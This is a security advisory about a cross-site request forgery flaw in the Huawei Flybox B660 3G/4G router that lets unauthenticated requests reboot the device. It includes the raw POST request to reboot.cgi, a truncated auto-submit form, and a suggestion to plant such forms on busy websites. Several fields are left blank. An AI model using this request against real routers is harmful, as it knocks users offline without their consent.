Huawei Flybox B660 - Cross-Site Request Forgery (1)









Document Title:
Huawei Flybox B660 - (POST Reboot) CSRF Vulnerability

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Product & Service Introduction:
The Huawei B660 has a web interface for configuration. You can use any web browser you like to login to the Huawei B660.

(Copy of the Homepage: )

Abstract Advisory Information:
The vulnerability laboratory core research team discovered a security flaw that affects the official Huawei Flybox B660 3G/4G router product series.

Vulnerability Disclosure Timeline:
2017-01-10:	Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):
Product: Flybox - Router (Web-Application) B660 3G/4G

Exploitation Technique:

Severity Level:

Technical Details & Description:
A remote cross-site request forgery (CSRF) vulnerability has been discovered in the official Huawei Flybox B660 3G/4G router product series.
The security vulnerability allows remote attackers to submit special requests to the affected product which could lead reboot the Product.

The vulnerability is located in the `/htmlcode/html/reboot.cgi` and `/htmlcode/html/system_reboot.asp` file modules and `RequestFile` 
parameter of the localhost path URL. Remote attackers are able to reboot any Huawei Flybox B660 via unauthenticated POST method request.

The security risk of the csrf web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 4.4.
Exploitation of the csrf web vulnerability requires a low privilege web-application user account and medium or high user interaction. 
Successful exploitation of the vulnerability results in unauthenticated application requests and manipulation of affected or connected 
device backend modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] /htmlcode/html/reboot.cgi
[+] /htmlcode/html/system_reboot.asp

Vulnerable Parameter(s):
[+] RequestFile

Software version of the modem:

Hardware version of the modem:

Name of the device:

Hardware version of the router:

Software version of the router:

Proof of Concept (PoC):
The security vulnerability can be exploited by remote attackers without privilege web-application user account and with medium or high user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

--- PoC Session Logs ---
POST /htmlcode/html/reboot.cgi?RequestFile=/htmlcode/html/system_reboot.asp HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.4.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: localhost/htmlcode/html/system_reboot.asp
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 364

<html><script src="" id="{6AF30038-1A5F-46F9-AE73-455BB857D493}"></script>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<script language="JavaScript" type="text/javascript">
var pageName = '/';

Note: Attacker are able to reboot the device itself without being authenticated to it . 
Also an Attacker can put an auto-submit javascript-generated form inside an high traffic website to compromise.

PoC: CSRF Exploit
  <!-- CSRF PoC By SaifAllah benMassaoud -->
    <form  id="test" action="" method="POST">

Security Risk:
The security risk of the cross site request forgery vulnerability in the Huawei Flybox B660 3G/4G router product series is estimated as medium. (CVSS 4.4)

Credits & Authors:
Vulnerability Laboratory [Research team] - SaifAllah benMassaoud - (

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deface websites, hack into databases or trade with stolen data.

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